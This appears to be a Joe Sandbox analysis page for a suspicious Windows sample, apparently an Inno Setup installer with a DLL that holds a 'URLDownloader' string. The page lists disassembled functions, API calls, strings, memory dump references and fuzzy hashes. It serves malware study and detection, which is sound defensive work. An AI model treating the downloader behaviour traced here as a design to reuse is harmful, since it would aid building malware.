Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: d74af280762a3c12f4f76a8dd6f825dd2da387fd0f27d3d277c556f93e4830d1
Instruction ID: fd64645e21a18fecabc0b8dc279039ee35b9e16079179385e1984e8b922befa7
Opcode Fuzzy Hash: d74af280762a3c12f4f76a8dd6f825dd2da387fd0f27d3d277c556f93e4830d1
Instruction Fuzzy Hash: 8131C571E002099FEB00EBA9C9829DEB7F9AF44314F50457EF814F32D2CB389E458A55

Function 00407A7E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00407AEA
UnhandledExceptionFilter.KERNEL32(?,?,?,Function_00007A80), ref: 00407B27

Strings

X7@, xrefs: 00407B52
(lB, xrefs: 00407AA5

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: (lB$X7@
API String ID: 3192549508-2535443016
Opcode ID: a183f97fa4197104a3b990bab41dee9c34272898e6a4d50137ed02f9a6d104e1
Instruction ID: b43bc4563ed2c5b4d44d4e312f14e91904ee98f66dbd2fd5bccfcfafe145c76a
Opcode Fuzzy Hash: a183f97fa4197104a3b990bab41dee9c34272898e6a4d50137ed02f9a6d104e1
Instruction Fuzzy Hash: B53141B0A08340AFE720EB15C985F27B7F9EB84718F1585AEE504972D1C778FC85C666

Function 0064E360 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,0064E434,?,0064E424,00000000,0064E408), ref: 0064E3CD
CloseHandle.KERNEL32(xd,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,0064E434,?,0064E424,00000000), ref: 0064E3EA

Part of subcall function 0064E2B8: GetLastError.KERNEL32(00000000,0064E353,?,?,?), ref: 0064E2DB

Strings

D, xrefs: 0064E3A7
xd, xrefs: 0064E3E6, 0064E3E9

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D$xd
API String ID: 3798668922-589168589
Opcode ID: 95fcd11f6f4c2f0d745cd36e2f186585c9965836f891efbcc81fac53fca09950
Instruction ID: 2770b63dbd5f0664191502d66b5aa67e7b61ccad1497a3da23e2b2c891076db0
Opcode Fuzzy Hash: 95fcd11f6f4c2f0d745cd36e2f186585c9965836f891efbcc81fac53fca09950
Instruction Fuzzy Hash: 4111A171644608AFEB00DBD5CC82EDE77EDEF09704F51407AF604E7291E6799D008A69

Function 00600654 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000B06,00000000,00000000), ref: 0060066E
SendMessageW.USER32(?,00000B00,00000000,00000000), ref: 0060070B

Strings

Failed to create DebugClientWnd, xrefs: 006006D4
Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 0060069A

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessageSend
String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
API String ID: 3850602802-3720027226
Opcode ID: 56bf4958779bfb6a8b8f845028800d3ca9d96219ab8fc1fc975935c890bdfb99
Instruction ID: 4175b821cf142c8e622798afdf7fde6d0c746e5252e1edb01a77202dd48d2af0
Opcode Fuzzy Hash: 56bf4958779bfb6a8b8f845028800d3ca9d96219ab8fc1fc975935c890bdfb99
Instruction Fuzzy Hash: 7E1123B06843409FF310EB68DC81B9B7FD99B85708F180429F5849B3D2D7B66C50CBA6

Function 00619624 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005AF910: GetFullPathNameW.KERNEL32(00000000,00001000,?,?,00000002,?,?,0066978C,00000000,005F8F3B,00000000,005F9216,?,?,0066978C), ref: 005AF941

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00619667
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 00619683

Strings

LoadTypeLib, xrefs: 00619672
RegisterTypeLib, xrefs: 0061968E

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Type$FullLoadNamePathRegister
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 4170313675-2435364021
Opcode ID: 6810aaf7b3462b74c952d5d02b70c3a4ed5764cd4a511497df33e8c168d44bba
Instruction ID: a1c6d1944a89705a1ae2f70c12028eadbe445236a7dfe10c2b454775ce8fdd12
Opcode Fuzzy Hash: 6810aaf7b3462b74c952d5d02b70c3a4ed5764cd4a511497df33e8c168d44bba
Instruction Fuzzy Hash: FA014470704209AFEB10FBA5CD92BDE77EDEB48704F504475B500F3292EA78AE458678

Function 00407FBE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006), ref: 00407FDF

Strings

X7@, xrefs: 00408000
0mB, xrefs: 0040803A
(lB, xrefs: 00408018

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: (lB$0mB$X7@
API String ID: 3192549508-2219141271
Opcode ID: f19abbc93cf31eb417a733ce6b63261ee329484a2539bf23c4dccce9ea235883
Instruction ID: ddb2fe431fc2d31df4f4c8d219a5c279b9c969c9caac19d9455eea0c72bea4c9
Opcode Fuzzy Hash: f19abbc93cf31eb417a733ce6b63261ee329484a2539bf23c4dccce9ea235883
Instruction Fuzzy Hash: 700180707082019BDB24DF24D9C0B2B73A2AB84700F14852EE845AB385CB38EC45DB6A

Function 005F912D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000000,00000020), ref: 005F9138

Part of subcall function 00420F94: DeleteFileW.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FA4
Part of subcall function 00420F94: GetLastError.KERNEL32(00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00420FB3
Part of subcall function 00420F94: GetFileAttributesW.KERNEL32(00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000,00000000), ref: 00420FBB
Part of subcall function 00420F94: RemoveDirectoryW.KERNEL32(00000000,00000000,00000000,?,?,0066978C,?,00650DE7,00000000,00650E3C,?,?,00000005,?,00000000,00000000), ref: 00420FD6

MoveFileW.KERNEL32(00000000,00000000), ref: 005F9165

Part of subcall function 005F84D8: GetLastError.KERNEL32(00000000,005F91EE,00000005,00000000,005F9216,?,?,0066978C,?,00000000,00000000,00000000,?,00650A7F,00000000,00650A9A), ref: 005F84DB

Strings

DeleteFile, xrefs: 005F9149
MoveFile, xrefs: 005F916E

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: File$AttributesErrorLast$DeleteDirectoryMoveRemove
String ID: DeleteFile$MoveFile
API String ID: 3947864702-139070271
Opcode ID: d6002e4c8ce380e4da7901459b48cf98f3a1534f7a2910375105cd19add7ce7d
Instruction ID: b8499831526bb04dbf5f9ac4b51478e099ff73939971a2d4390da8e0a4ff792a
Opcode Fuzzy Hash: d6002e4c8ce380e4da7901459b48cf98f3a1534f7a2910375105cd19add7ce7d
Instruction Fuzzy Hash: CAF0497565850A9AEB00FB65D946BBE7BD4FB94304F60443BF504E32C6D93C9C01C629

Function 10015F31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(1001C31C,URLDownloader,?,100015D9,1001C6D4), ref: 10015F3B
ReleaseSRWLockExclusive.KERNEL32(1001C31C,?,100015D9,1001C6D4), ref: 10015F6E
WakeAllConditionVariable.KERNEL32(1001C318,?,100015D9,1001C6D4), ref: 10015F79

Strings

URLDownloader, xrefs: 10015F34

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: URLDownloader
API String ID: 1466638765-1891997712
Opcode ID: 5c957333df92aa0d20994f740975eb8c520519e24ded03d2bd78703f65689582
Instruction ID: 2635d989befe49f68561a0190eacd187a5f89713392b86b322bdf01f88d219c5
Opcode Fuzzy Hash: 5c957333df92aa0d20994f740975eb8c520519e24ded03d2bd78703f65689582
Instruction Fuzzy Hash: 88F0C975900628DFE746DF58D8C8E957BA8FB4D394B06C069FA0987322CB34EA50CB95

Function 00464920 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00464A70,?,?,0043F138,00000001), ref: 004649AE

Part of subcall function 00420CF0: CreateFileW.KERNEL32(00000000,000000F0,000000F0,00000000,00000003,00000080,00000000,?,?,0043F138,004649F0,00000000,00464A70,?,?,0043F138), ref: 00420D3F

Part of subcall function 00421144: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,?,?,0043F138,00464A0B,00000000,00464A70,?,?,0043F138,00000001), ref: 00421167

GetLastError.KERNEL32(00000000,00464A70,?,?,0043F138,00000001), ref: 00464A15

Part of subcall function 004251D8: FormatMessageW.KERNEL32(00003300,00000000,00000000,00000000,00000001,00000000,00000000,?,0043F138,00000000,?,00464A24,00000000,00464A70), ref: 004251FC
Part of subcall function 004251D8: LocalFree.KERNEL32(00000001,00425255,00003300,00000000,00000000,00000000,00000001,00000000,00000000,?,0043F138,00000000,?,00464A24,00000000,00464A70), ref: 00425248

Strings

4Dd, xrefs: 004649C7
d{C, xrefs: 004649D5

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLast$CreateFileFormatFreeFullLocalMessageNamePath
String ID: 4Dd$d{C
API String ID: 503893064-2058038346
Opcode ID: d401f3925e0a0a59aee2edcb24fb99114593ebe0fc7d03629d6b26652d1d1355
Instruction ID: 0683953512549e244d6d4d668f9f4a6bb5012169835e8b5d33232cac3ad6031b
Opcode Fuzzy Hash: d401f3925e0a0a59aee2edcb24fb99114593ebe0fc7d03629d6b26652d1d1355
Instruction Fuzzy Hash: 3F41F670E002099FCB10EFB5C8815EEB7F1AF49314F90817AE904A7382DB785E01CB6A

Function 0040C040 Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040C051
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040C0AF
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040C10C
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040C13F

Part of subcall function 0040BFFC: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040C0BD), ref: 0040C013
Part of subcall function 0040BFFC: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040C0BD), ref: 0040C030

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: e9b38d102af23e3ac96532df7ba2e3b2cca42ae78a03c66e701db43377d19ec2
Instruction ID: e50dbe343586da412169edcbcf2f18ed2f71acdc650f4f92d90da3ef9dabf820
Opcode Fuzzy Hash: e9b38d102af23e3ac96532df7ba2e3b2cca42ae78a03c66e701db43377d19ec2
Instruction Fuzzy Hash: 11311C70A0021EDBDB10DFE9C885AAEB3B5EF04315F00427AE551E7291DB789A44CB99

Function 00CD4EB7 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 00CD4ECE
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 00CD4F28
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00CD4F40
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000), ref: 00CD4F8C

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 2ad7ddd50886c6f136297177ce94159ccb7120c9250006a8d7e0e413235becb2
Instruction ID: ca365d46edf6424eaebb9e91f037c3e5a45376a2186ba640e2979927dc7fd4cf
Opcode Fuzzy Hash: 2ad7ddd50886c6f136297177ce94159ccb7120c9250006a8d7e0e413235becb2
Instruction Fuzzy Hash: 4431EFB5E40208BFEB14DBD8CD86FAEB7B5EB48710F204254F615AB2D0D671AB009B55

Function 10013A70 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,10017B76,000000FF,?,10013642,?), ref: 10013A90
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,10017B76,000000FF,?,10013642), ref: 10013AAB
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,10013642,?), ref: 10013ADF
??1_Lockit@std@@QAE@XZ.MSVCP140(?), ref: 10013B57

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Getcat@?$codecvt@Mbstatet@@@std@@V42@@Vfacet@locale@2@
String ID:
API String ID: 1566052064-0
Opcode ID: fe2f488380e94dcbeb70f586553934bb7d96351eb8217fb32b8625d7819b8d05
Instruction ID: 47359edd55c6cc15742bff4ced4580a4001c133a1fe49908c7c5117e5c40c52a
Opcode Fuzzy Hash: fe2f488380e94dcbeb70f586553934bb7d96351eb8217fb32b8625d7819b8d05
Instruction Fuzzy Hash: DD3141B4D00259DFDB04DF94D981BEEBBB4FF48310F208659E52667391DB34AA84CBA1

Function 100163BC Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 10016409

Part of subcall function 10016CAE: InitializeSListHead.KERNEL32(1001C360,10016413,10019C58,00000010,100163A4,?,?,?,100165CA,?,00000001,?,?,00000001,?,10019CA0), ref: 10016CB3

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(100182EC,100182F0,10019C58,00000010,100163A4,?,?,?,100165CA,?,00000001,?,?,00000001,?,10019CA0), ref: 10016422
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(100182CC,100182E8,10019C58,00000010,100163A4,?,?,?,100165CA,?,00000001,?,?,00000001,?,10019CA0), ref: 10016440
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 10016473

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: c66be37b7fa5c5e393c4edeaf5cfb5ebc56572853e82811de3f62df1bd00dbee
Instruction ID: e11346addbbd0b20877a0dd20a8321200fe6c64d5ca488d70c2580f7c5b0b6f1
Opcode Fuzzy Hash: c66be37b7fa5c5e393c4edeaf5cfb5ebc56572853e82811de3f62df1bd00dbee
Instruction Fuzzy Hash: 0C212439544215ABEF01DBB49C027DD37A1EF0E3A4F108009F5966F1C2CB32E6C5C6AA

Function 004733A4 Relevance: 6.1, APIs: 4, Instructions: 59registryCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(00400000,00473388,?), ref: 004733C5
UnregisterClassW.USER32(00473388,00400000), ref: 004733EE
RegisterClassW.USER32(0065F688), ref: 004733F8
SetWindowLongW.USER32(00000000,000000FC,00000000), ref: 00473443

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
